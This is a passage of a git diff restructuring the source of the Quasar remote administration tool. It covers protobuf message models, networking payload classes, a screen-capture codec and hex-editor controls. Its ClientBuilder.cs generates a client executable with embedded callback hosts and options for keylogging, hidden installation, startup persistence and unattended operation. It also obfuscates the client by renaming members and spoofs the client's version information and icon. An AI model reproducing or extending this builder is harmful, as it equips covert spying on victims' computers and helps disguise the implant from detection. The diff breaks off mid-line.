Quasar.Common.Models +{ + [ProtoContract] + public class TcpConnection + { + [ProtoMember(1)] + public string ProcessName { get; set; } + + [ProtoMember(2)] + public string LocalAddress { get; set; } + + [ProtoMember(3)] + public ushort LocalPort { get; set; } + + [ProtoMember(4)] + public string RemoteAddress { get; set; } + + [ProtoMember(5)] + public ushort RemotePort { get; set; } + + [ProtoMember(6)] + public ConnectionState State { get; set; } + } +} diff --git a/Quasar.Common/NativeMethods.cs b/Quasar.Common/NativeMethods.cs new file mode 100644 index 000000000..94f8fcd59 --- /dev/null +++ b/Quasar.Common/NativeMethods.cs @@ -0,0 +1,27 @@ +using System; +using System.Runtime.InteropServices; + +namespace Quasar.Common +{ + /// + /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// + public class NativeMethods + { + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern int memcpy(IntPtr dst, IntPtr src, uint count); + + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] + public static extern unsafe int memcpy(void* dst, void* src, uint count); + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool DeleteFile(string name); + } +} diff --git a/Quasar.Common/Networking/ISender.cs b/Quasar.Common/Networking/ISender.cs new file mode 100644 index 000000000..371105a45 --- /dev/null +++ b/Quasar.Common/Networking/ISender.cs @@ -0,0 +1,10 @@ +using Quasar.Common.Messages; + +namespace Quasar.Common.Networking +{ + public interface ISender + { + void Send(T message) where T : IMessage; + void Disconnect(); + } +} diff --git a/Quasar.Common/Networking/PayloadReader.cs b/Quasar.Common/Networking/PayloadReader.cs new file mode 100644 index 000000000..c1ad7fc69 --- /dev/null +++ b/Quasar.Common/Networking/PayloadReader.cs @@ -0,0 +1,75 @@ +using ProtoBuf; +using Quasar.Common.Messages; +using System; +using System.IO; + +namespace Quasar.Common.Networking +{ + public class PayloadReader : MemoryStream + { + private readonly Stream _innerStream; + public bool LeaveInnerStreamOpen { get; } + + public PayloadReader(byte[] payload, int length, bool leaveInnerStreamOpen) + { + _innerStream = new MemoryStream(payload, 0, length, false, true); + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public PayloadReader(Stream stream, bool leaveInnerStreamOpen) + { + _innerStream = stream; + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public int ReadInteger() + { + return BitConverter.ToInt32(ReadBytes(4), 0); + } + + public byte[] ReadBytes(int length) + { + if (_innerStream.Position + length <= _innerStream.Length) + { + byte[] result = new byte[length]; + _innerStream.Read(result, 0, result.Length); + return result; + } + throw new OverflowException($"Unable to read {length} bytes from stream"); + } + + /// + /// Reads the serialized message of the payload and deserializes it. + /// + /// The deserialized message of the payload. + public IMessage ReadMessage() + { + ReadInteger(); + /* Length prefix is ignored here and already handled in Client class, + * it would cause to much trouble to check here for split or not fully + * received packets. + */ + IMessage message = Serializer.Deserialize(_innerStream); + return message; + } + + protected override void Dispose(bool disposing) + { + try + { + if (LeaveInnerStreamOpen) + { + _innerStream.Flush(); + } + else + { + _innerStream.Close(); + } + } + finally + { + base.Dispose(disposing); + } + } + } +} diff --git a/Quasar.Common/Networking/PayloadWriter.cs b/Quasar.Common/Networking/PayloadWriter.cs new file mode 100644 index 000000000..000d808e4 --- /dev/null +++ b/Quasar.Common/Networking/PayloadWriter.cs @@ -0,0 +1,65 @@ +using ProtoBuf; +using Quasar.Common.Messages; +using System; +using System.IO; + +namespace Quasar.Common.Networking +{ + public class PayloadWriter : MemoryStream + { + private readonly Stream _innerStream; + public bool LeaveInnerStreamOpen { get; } + + public PayloadWriter(Stream stream, bool leaveInnerStreamOpen) + { + _innerStream = stream; + LeaveInnerStreamOpen = leaveInnerStreamOpen; + } + + public void WriteBytes(byte[] value) + { + _innerStream.Write(value, 0, value.Length); + } + + public void WriteInteger(int value) + { + WriteBytes(BitConverter.GetBytes(value)); + } + + /// + /// Writes a serialized message as payload to the stream. + /// + /// The message to write. + /// The amount of written bytes to the stream. + public int WriteMessage(IMessage message) + { + using (MemoryStream ms = new MemoryStream()) + { + Serializer.Serialize(ms, message); + byte[] payload = ms.ToArray(); + WriteInteger(payload.Length); + WriteBytes(payload); + return sizeof(int) + payload.Length; + } + } + + protected override void Dispose(bool disposing) + { + try + { + if (LeaveInnerStreamOpen) + { + _innerStream.Flush(); + } + else + { + _innerStream.Close(); + } + } + finally + { + base.Dispose(disposing); + } + } + } +} diff --git a/Quasar.Common/Properties/AssemblyInfo.cs b/Quasar.Common/Properties/AssemblyInfo.cs new file mode 100644 index 000000000..6f846dfbd --- /dev/null +++ b/Quasar.Common/Properties/AssemblyInfo.cs @@ -0,0 +1,37 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Quasar Common")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Quasar")] +[assembly: AssemblyCopyright("Copyright © MaxXor 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] +[assembly: InternalsVisibleTo("Quasar.Common.Tests")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("c7c363ba-e5b6-4e18-9224-39bc8da73172")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.4.1")] +[assembly: AssemblyFileVersion("1.4.1")] diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj new file mode 100644 index 000000000..a474fb816 --- /dev/null +++ b/Quasar.Common/Quasar.Common.csproj @@ -0,0 +1,31 @@ + + + net452 + Library + false + + + ..\bin\Debug\ + true + + + + none + ..\bin\Release\ + true + + + + + + + + 2.4.8 + + + + + + + + \ No newline at end of file diff --git a/Quasar.Common/Utilities/ByteConverter.cs b/Quasar.Common/Utilities/ByteConverter.cs new file mode 100644 index 000000000..9d61baf65 --- /dev/null +++ b/Quasar.Common/Utilities/ByteConverter.cs @@ -0,0 +1,135 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace Quasar.Common.Utilities +{ + public class ByteConverter + { + private static byte NULL_BYTE = byte.MinValue; + + public static byte[] GetBytes(int value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(long value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(uint value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(ulong value) + { + return BitConverter.GetBytes(value); + } + + public static byte[] GetBytes(string value) + { + return StringToBytes(value); + } + + public static byte[] GetBytes(string[] value) + { + return StringArrayToBytes(value); + } + + public static int ToInt32(byte[] bytes) + { + return BitConverter.ToInt32(bytes, 0); + } + + public static long ToInt64(byte[] bytes) + { + return BitConverter.ToInt64(bytes, 0); + } + + public static uint ToUInt32(byte[] bytes) + { + return BitConverter.ToUInt32(bytes, 0); + } + + public static ulong ToUInt64(byte[] bytes) + { + return BitConverter.ToUInt64(bytes, 0); + } + + public static string ToString(byte[] bytes) + { + return BytesToString(bytes); + } + + public static string[] ToStringArray(byte[] bytes) + { + return BytesToStringArray(bytes); + } + + private static byte[] GetNullBytes() + { + //Null bytes: 00 00 + return new byte[] { NULL_BYTE, NULL_BYTE }; + } + + private static byte[] StringToBytes(string value) + { + byte[] bytes = new byte[value.Length * sizeof(char)]; + Buffer.BlockCopy(value.ToCharArray(), 0, bytes, 0, bytes.Length); + return bytes; + } + + private static byte[] StringArrayToBytes(string[] strings) + { + List bytes = new List(); + + foreach(string str in strings) + { + bytes.AddRange(StringToBytes(str)); + bytes.AddRange(GetNullBytes()); + } + + return bytes.ToArray(); + } + + private static string BytesToString(byte[] bytes) + { + int nrChars = (int)Math.Ceiling((float)bytes.Length / (float)sizeof(char)); + char[] chars = new char[nrChars]; + Buffer.BlockCopy(bytes, 0, chars, 0, bytes.Length); + return new string(chars); + } + + private static string[] BytesToStringArray(byte[] bytes) + { + List strings = new List(); + + int i = 0; + StringBuilder strBuilder = new StringBuilder(bytes.Length); + while (i < bytes.Length) + { + //Holds the number of nulls (3 nulls indicated end of a string) + int nullcount = 0; + while (i < bytes.Length && nullcount < 3) + { + if (bytes[i] == NULL_BYTE) + { + nullcount++; + } + else + { + strBuilder.Append(Convert.ToChar(bytes[i])); + nullcount = 0; + } + i++; + } + strings.Add(strBuilder.ToString()); + strBuilder.Clear(); + } + + return strings.ToArray(); + } + } +} diff --git a/Quasar.Common/Utilities/SafeRandom.cs b/Quasar.Common/Utilities/SafeRandom.cs new file mode 100644 index 000000000..4e9dc1bf9 --- /dev/null +++ b/Quasar.Common/Utilities/SafeRandom.cs @@ -0,0 +1,54 @@ +using System; +using System.Security.Cryptography; + +namespace Quasar.Common.Utilities +{ + /// + /// Thread-safe random number generator. + /// Has same API as System.Random but is thread safe, similar to the implementation by Steven Toub: http://blogs.msdn.com/b/pfxteam/archive/2014/10/20/9434171.aspx + /// + public class SafeRandom + { + private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create(); + + [ThreadStatic] + private static Random _random; + + private static Random GetRandom() + { + if (_random == null) + { + byte[] buffer = new byte[4]; + GlobalCryptoProvider.GetBytes(buffer); + _random = new Random(BitConverter.ToInt32(buffer, 0)); + } + + return _random; + } + + public int Next() + { + return GetRandom().Next(); + } + + public int Next(int maxValue) + { + return GetRandom().Next(maxValue); + } + + public int Next(int minValue, int maxValue) + { + return GetRandom().Next(minValue, maxValue); + } + + public void NextBytes(byte[] buffer) + { + GetRandom().NextBytes(buffer); + } + + public double NextDouble() + { + return GetRandom().NextDouble(); + } + } +} diff --git a/Client/Core/Utilities/UnsafeStreamCodec.cs b/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs similarity index 96% rename from Client/Core/Utilities/UnsafeStreamCodec.cs rename to Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs index 174b26600..24511b939 100644 --- a/Client/Core/Utilities/UnsafeStreamCodec.cs +++ b/Quasar.Common/Video/Codecs/UnsafeStreamCodec.cs @@ -1,16 +1,16 @@ -using System; +using Quasar.Common.Video.Compression; +using System; using System.Collections.Generic; using System.Drawing; using System.Drawing.Imaging; using System.IO; -using xClient.Core.Compression; -namespace xClient.Core.Utilities +namespace Quasar.Common.Video.Codecs { public class UnsafeStreamCodec : IDisposable { public int Monitor { get; private set; } - public string Resolution { get; private set; } + public Resolution Resolution { get; private set; } public Size CheckBlock { get; private set; } public int ImageQuality { @@ -46,7 +46,7 @@ private set /// The quality to use between 0-100. /// The monitor used for the images. /// The resolution of the monitor. - public UnsafeStreamCodec(int imageQuality, int monitor, string resolution) + public UnsafeStreamCodec(int imageQuality, int monitor, Resolution resolution) { this.ImageQuality = imageQuality; this.Monitor = monitor; @@ -84,7 +84,17 @@ public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, P { lock (_imageProcessLock) { - byte* pScan0 = (byte*)scan0.ToInt32(); + byte* pScan0; + if (IntPtr.Size == 8) + { + // 64 bit process + pScan0 = (byte*) scan0.ToInt64(); + } + else + { + // 32 bit process + pScan0 = (byte*)scan0.ToInt32(); + } if (!outStream.CanWrite) { @@ -367,4 +377,4 @@ public Bitmap DecodeData(Stream inStream) return _decodedBitmap; } } -} \ No newline at end of file +} diff --git a/Client/Core/Compression/JpgCompression.cs b/Quasar.Common/Video/Compression/JpgCompression.cs similarity index 97% rename from Client/Core/Compression/JpgCompression.cs rename to Quasar.Common/Video/Compression/JpgCompression.cs index 784ae0769..93de834a7 100644 --- a/Client/Core/Compression/JpgCompression.cs +++ b/Quasar.Common/Video/Compression/JpgCompression.cs @@ -3,7 +3,7 @@ using System.Drawing.Imaging; using System.IO; -namespace xClient.Core.Compression +namespace Quasar.Common.Video.Compression { public class JpgCompression : IDisposable { diff --git a/Quasar.Common/Video/Resolution.cs b/Quasar.Common/Video/Resolution.cs new file mode 100644 index 000000000..f2b394987 --- /dev/null +++ b/Quasar.Common/Video/Resolution.cs @@ -0,0 +1,50 @@ +using System; +using ProtoBuf; + +namespace Quasar.Common.Video +{ + [ProtoContract] + public class Resolution : IEquatable + { + [ProtoMember(1)] + public int Width { get; set; } + + [ProtoMember(2)] + public int Height { get; set; } + + public bool Equals(Resolution other) + { + if (ReferenceEquals(null, other)) return false; + if (ReferenceEquals(this, other)) return true; + return Width == other.Width && Height == other.Height; + } + + public static bool operator ==(Resolution r1, Resolution r2) + { + if (ReferenceEquals(r1, null)) + return ReferenceEquals(r2, null); + + return r1.Equals(r2); + } + + public static bool operator !=(Resolution r1, Resolution r2) + { + return !(r1 == r2); + } + + public override bool Equals(object obj) + { + return Equals(obj as Resolution); + } + + public override int GetHashCode() + { + return Width ^ Height; + } + + public override string ToString() + { + return $"{Width}x{Height}"; + } + } +} diff --git a/Quasar.Server/Build/ClientBuilder.cs b/Quasar.Server/Build/ClientBuilder.cs new file mode 100644 index 000000000..822dd9893 --- /dev/null +++ b/Quasar.Server/Build/ClientBuilder.cs @@ -0,0 +1,225 @@ +using Mono.Cecil; +using Mono.Cecil.Cil; +using Quasar.Common.Cryptography; +using Quasar.Server.Models; +using System; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using Vestris.ResourceLib; + +namespace Quasar.Server.Build +{ + /// + /// Provides methods used to create a custom client executable. + /// + public class ClientBuilder + { + private readonly BuildOptions _options; + private readonly string _clientFilePath; + + public ClientBuilder(BuildOptions options, string clientFilePath) + { + _options = options; + _clientFilePath = clientFilePath; + } + + /// + /// Builds a client executable. + /// + public void Build() + { + using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath)) + { + // PHASE 1 - Writing settings + WriteSettings(asmDef); + + // PHASE 2 - Renaming + Renamer r = new Renamer(asmDef); + + if (!r.Perform()) + throw new Exception("renaming failed"); + + // PHASE 3 - Saving + r.AsmDef.Write(_options.OutputPath); + } + + // PHASE 4 - Assembly Information changing + if (_options.AssemblyInformation != null) + { + VersionResource versionResource = new VersionResource(); + versionResource.LoadFrom(_options.OutputPath); + + versionResource.FileVersion = _options.AssemblyInformation[7]; + versionResource.ProductVersion = _options.AssemblyInformation[6]; + versionResource.Language = 0; + + StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"]; + stringFileInfo["CompanyName"] = _options.AssemblyInformation[2]; + stringFileInfo["FileDescription"] = _options.AssemblyInformation[1]; + stringFileInfo["ProductName"] = _options.AssemblyInformation[0]; + stringFileInfo["LegalCopyright"] = _options.AssemblyInformation[3]; + stringFileInfo["LegalTrademarks"] = _options.AssemblyInformation[4]; + stringFileInfo["ProductVersion"] = versionResource.ProductVersion; + stringFileInfo["FileVersion"] = versionResource.FileVersion; + stringFileInfo["Assembly Version"] = versionResource.ProductVersion; + stringFileInfo["InternalName"] = _options.AssemblyInformation[5]; + stringFileInfo["OriginalFilename"] = _options.AssemblyInformation[5]; + + versionResource.SaveTo(_options.OutputPath); + } + + // PHASE 5 - Icon changing + if (!string.IsNullOrEmpty(_options.IconPath)) + { + IconFile iconFile = new IconFile(_options.IconPath); + IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile); + iconDirectoryResource.SaveTo(_options.OutputPath); + } + } + + private void WriteSettings(AssemblyDefinition asmDef) + { + var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); + var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important! + + var key = serverCertificate.Thumbprint; + var aes = new Aes256(key); + + byte[] signature; + // https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6 + using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey) + { + var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key)); + signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256")); + } + + foreach (var typeDef in asmDef.Modules[0].Types) + { + if (typeDef.FullName == "Quasar.Client.Config.Settings") + { + foreach (var methodDef in typeDef.Methods) + { + if (methodDef.Name == ".cctor") + { + int strings = 1, bools = 1; + + for (int i = 0; i < methodDef.Body.Instructions.Count; i++) + { + if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string + { + switch (strings) + { + case 1: //version + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version); + break; + case 2: //ip/hostname + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts); + break; + case 3: //installsub + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub); + break; + case 4: //installname + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName); + break; + case 5: //mutex + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex); + break; + case 6: //startupkey + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName); + break; + case 7: //encryption key + methodDef.Body.Instructions[i].Operand = key; + break; + case 8: //tag + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag); + break; + case 9: //LogDirectoryName + methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName); + break; + case 10: //ServerSignature + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature)); + break; + case 11: //ServerCertificate + methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert))); + break; + } + strings++; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 || + methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool + { + switch (bools) + { + case 1: //install + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install)); + break; + case 2: //startup + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup)); + break; + case 3: //hidefile + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile)); + break; + case 4: //Keylogger + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger)); + break; + case 5: //HideLogDirectory + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory)); + break; + case 6: // HideInstallSubdirectory + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory)); + break; + case 7: // UnattendedMode + methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.UnattendedMode)); + break; + } + bools++; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int + { + //reconnectdelay + methodDef.Body.Instructions[i].Operand = _options.Delay; + } + else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte + { + methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath); + } + } + } + } + } + } + } + + /// + /// Obtains the OpCode that corresponds to the bool value provided. + /// + /// The value to convert to the OpCode + /// Returns the OpCode that represents the value provided. + private OpCode BoolOpCode(bool p) + { + return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0; + } + + /// + /// Attempts to obtain the signed-byte value of a special folder from the install path value provided. + /// + /// The integer value of the install path. + /// Returns the signed-byte value of the special folder. + /// Thrown if the path to the special folder was invalid. + private sbyte GetSpecialFolder(int installPath) + { + switch (installPath) + { + case 1: + return (sbyte)Environment.SpecialFolder.ApplicationData; + case 2: + return (sbyte)Environment.SpecialFolder.ProgramFiles; + case 3: + return (sbyte)Environment.SpecialFolder.System; + default: + throw new ArgumentException("InstallPath"); + } + } + } +} diff --git a/Server/Core/Build/Renamer.cs b/Quasar.Server/Build/Renamer.cs similarity index 92% rename from Server/Core/Build/Renamer.cs rename to Quasar.Server/Build/Renamer.cs index 844d7ea95..fe9ef5288 100644 --- a/Server/Core/Build/Renamer.cs +++ b/Quasar.Server/Build/Renamer.cs @@ -1,10 +1,11 @@ -using System; +using Mono.Cecil; +using Quasar.Common.Utilities; +using System; using System.Collections.Generic; using System.Linq; using System.Text; -using Mono.Cecil; -namespace xServer.Core.Build +namespace Quasar.Server.Build { public class Renamer { @@ -56,7 +57,7 @@ public bool Perform() private void RenameInType(TypeDefinition typeDef) { - if (typeDef.Namespace.Contains("NetSerializer") || typeDef.HasInterfaces) + if (!typeDef.Namespace.StartsWith("Quasar") || typeDef.Namespace.StartsWith("Quasar.Common.Messages") || typeDef.IsEnum /* || typeDef.HasInterfaces */) return; _typeOverloader.GiveName(typeDef); @@ -118,8 +119,9 @@ private class MemberOverloader { private bool DoRandom { get; set; } private int StartingLength { get; set; } - private Dictionary _renamedMembers = new Dictionary(); + private readonly Dictionary _renamedMembers = new Dictionary(); private readonly char[] _charMap; + private readonly SafeRandom _random = new SafeRandom(); private int[] _indices; public MemberOverloader(int startingLength, bool doRandom = true) @@ -158,7 +160,7 @@ private string GetRandomName() for (int i = 0; i < StartingLength; i++) { - builder.Append((char) new Random(Guid.NewGuid().GetHashCode()).Next(int.MinValue, int.MaxValue)); + builder.Append((char)_random.Next(int.MinValue, int.MaxValue)); } return builder.ToString(); diff --git a/Server/Controls/DotNetBarTabControl.cs b/Quasar.Server/Controls/DotNetBarTabControl.cs similarity index 99% rename from Server/Controls/DotNetBarTabControl.cs rename to Quasar.Server/Controls/DotNetBarTabControl.cs index 19e713ed6..21a33f89d 100644 --- a/Server/Controls/DotNetBarTabControl.cs +++ b/Quasar.Server/Controls/DotNetBarTabControl.cs @@ -5,7 +5,7 @@ // thanks to Mavamaarten~ for coding this -namespace xServer.Controls +namespace Quasar.Server.Controls { internal class DotNetBarTabControl : TabControl { diff --git a/Server/Controls/HexEditor/ByteCollection.cs b/Quasar.Server/Controls/HexEditor/ByteCollection.cs similarity index 95% rename from Server/Controls/HexEditor/ByteCollection.cs rename to Quasar.Server/Controls/HexEditor/ByteCollection.cs index a2e145d08..42e8249af 100644 --- a/Server/Controls/HexEditor/ByteCollection.cs +++ b/Quasar.Server/Controls/HexEditor/ByteCollection.cs @@ -1,9 +1,7 @@ using System; using System.Collections.Generic; -using System.Linq; -using System.Text; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class ByteCollection { diff --git a/Server/Controls/HexEditor/Caret.cs b/Quasar.Server/Controls/HexEditor/Caret.cs similarity index 98% rename from Server/Controls/HexEditor/Caret.cs rename to Quasar.Server/Controls/HexEditor/Caret.cs index 38fa26b73..ac83acd4d 100644 --- a/Server/Controls/HexEditor/Caret.cs +++ b/Quasar.Server/Controls/HexEditor/Caret.cs @@ -1,11 +1,8 @@ using System; -using System.Collections.Generic; using System.Drawing; -using System.Linq; using System.Runtime.InteropServices; -using System.Text; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class Caret { diff --git a/Server/Controls/HexEditor/EditView.cs b/Quasar.Server/Controls/HexEditor/EditView.cs similarity index 97% rename from Server/Controls/HexEditor/EditView.cs rename to Quasar.Server/Controls/HexEditor/EditView.cs index fd222900b..586b9fc6f 100644 --- a/Server/Controls/HexEditor/EditView.cs +++ b/Quasar.Server/Controls/HexEditor/EditView.cs @@ -1,11 +1,8 @@ using System; -using System.Collections.Generic; using System.Drawing; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class EditView : IKeyMouseEventHandler { diff --git a/Server/Controls/HexEditor/HexEditor.cs b/Quasar.Server/Controls/HexEditor/HexEditor.cs similarity index 99% rename from Server/Controls/HexEditor/HexEditor.cs rename to Quasar.Server/Controls/HexEditor/HexEditor.cs index 882ba9308..fba34926e 100644 --- a/Server/Controls/HexEditor/HexEditor.cs +++ b/Quasar.Server/Controls/HexEditor/HexEditor.cs @@ -1,12 +1,9 @@ using System; -using System.Collections.Generic; using System.ComponentModel; using System.Drawing; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { /* * Derived and Adapted from Bernhard Elbl diff --git a/Server/Controls/HexEditor/HexViewHandler.cs b/Quasar.Server/Controls/HexEditor/HexViewHandler.cs similarity index 99% rename from Server/Controls/HexEditor/HexViewHandler.cs rename to Quasar.Server/Controls/HexEditor/HexViewHandler.cs index 3dcd0641f..cc57191fe 100644 --- a/Server/Controls/HexEditor/HexViewHandler.cs +++ b/Quasar.Server/Controls/HexEditor/HexViewHandler.cs @@ -1,11 +1,8 @@ using System; -using System.Collections.Generic; using System.Drawing; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class HexViewHandler { diff --git a/Server/Controls/HexEditor/IKeyMouseEventHandler.cs b/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs similarity index 80% rename from Server/Controls/HexEditor/IKeyMouseEventHandler.cs rename to Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs index eb01dba9f..7121208a6 100644 --- a/Server/Controls/HexEditor/IKeyMouseEventHandler.cs +++ b/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs @@ -1,10 +1,7 @@ using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public interface IKeyMouseEventHandler { diff --git a/Server/Controls/HexEditor/StringViewHandler.cs b/Quasar.Server/Controls/HexEditor/StringViewHandler.cs similarity index 99% rename from Server/Controls/HexEditor/StringViewHandler.cs rename to Quasar.Server/Controls/HexEditor/StringViewHandler.cs index 4d1821e0e..125e133ee 100644 --- a/Server/Controls/HexEditor/StringViewHandler.cs +++ b/Quasar.Server/Controls/HexEditor/StringViewHandler.cs @@ -1,11 +1,8 @@ using System; -using System.Collections.Generic; using System.Drawing; -using System.Linq; -using System.Text; using System.Windows.Forms; -namespace xServer.Controls.HexEditor +namespace Quasar.Server.Controls.HexEditor { public class StringViewHandler { diff --git a/Server/Controls/InputBox.cs b/Quasar.Server/Controls/InputBox.cs similarity index 98% rename from Server/Controls/InputBox.cs rename to Quasar.Server/Controls/InputBox.cs index d14724616..08df5b476 100644 --- a/Server/Controls/InputBox.cs +++ b/Quasar.Server/Controls/InputBox.cs @@ -2,7 +2,7 @@ using System.Drawing; using System.Windows.Forms; -namespace xServer.Controls +namespace Quasar.Server.Controls { public static class InputBox { diff --git a/Server/Controls/Line.cs b/Quasar.Server/Controls/Line.cs similarity index 94% rename from Server/Controls/Line.cs rename to Quasar.Server/Controls/Line.cs index e149f0e0b..28aefa6c2 100644 --- a/Server/Controls/Line.cs +++ b/Quasar.Server/Controls/Line.cs @@ -1,7 +1,7 @@ using System.Drawing; using System.Windows.Forms; -namespace xServer.Controls +namespace Quasar.Server.Controls { public class Line : Control { diff --git a/Server/Controls/ListViewEx.cs b/Quasar.Server/Controls/ListViewEx.cs similarity index 82% rename from Server/Controls/ListViewEx.cs rename to Quasar.Server/Controls/ListViewEx.cs index 81c11714b..c773adddb 100644 --- a/Server/Controls/ListViewEx.cs +++ b/Quasar.Server/Controls/ListViewEx.cs @@ -1,24 +1,25 @@ -using System; +using Quasar.Common.Helpers; +using Quasar.Server.Helper; +using Quasar.Server.Utilities; +using System; using System.Windows.Forms; -using xServer.Core.Helper; -using xServer.Core.Utilities; -namespace xServer.Controls +namespace Quasar.Server.Controls { internal class AeroListView : ListView { private const uint WM_CHANGEUISTATE = 0x127; - private const int UIS_SET = 1; - private const int UISF_HIDEFOCUS = 0x1; + private const short UIS_SET = 1; + private const short UISF_HIDEFOCUS = 0x1; + private readonly IntPtr _removeDots = new IntPtr(NativeMethodsHelper.MakeWin32Long(UIS_SET, UISF_HIDEFOCUS)); - private ListViewColumnSorter LvwColumnSorter { get; set; } + public ListViewColumnSorter LvwColumnSorter { get; set; } /// /// Initializes a new instance of the class. /// public AeroListView() - : base() { SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); this.LvwColumnSorter = new ListViewColumnSorter(); @@ -46,8 +47,7 @@ protected override void OnHandleCreated(EventArgs e) if (PlatformHelper.XpOrHigher) { // removes the ugly dotted line around focused item - NativeMethods.SendMessage(this.Handle, WM_CHANGEUISTATE, - NativeMethodsHelper.MakeLong(UIS_SET, UISF_HIDEFOCUS), 0); + NativeMethods.SendMessage(this.Handle, WM_CHANGEUISTATE, _removeDots, IntPtr.Zero); } } @@ -75,7 +75,8 @@ protected override void OnColumnClick(ColumnClickEventArgs e) } // Perform the sort with these new sort options. - this.Sort(); + if (!this.VirtualMode) + this.Sort(); } } } \ No newline at end of file diff --git a/Server/Controls/RapidPictureBox.cs b/Quasar.Server/Controls/RapidPictureBox.cs similarity index 96% rename from Server/Controls/RapidPictureBox.cs rename to Quasar.Server/Controls/RapidPictureBox.cs index 2e7d17781..8d058966e 100644 --- a/Server/Controls/RapidPictureBox.cs +++ b/Quasar.Server/Controls/RapidPictureBox.cs @@ -2,9 +2,9 @@ using System.Diagnostics; using System.Drawing; using System.Windows.Forms; -using xServer.Core.Utilities; +using Quasar.Server.Utilities; -namespace xServer.Controls +namespace 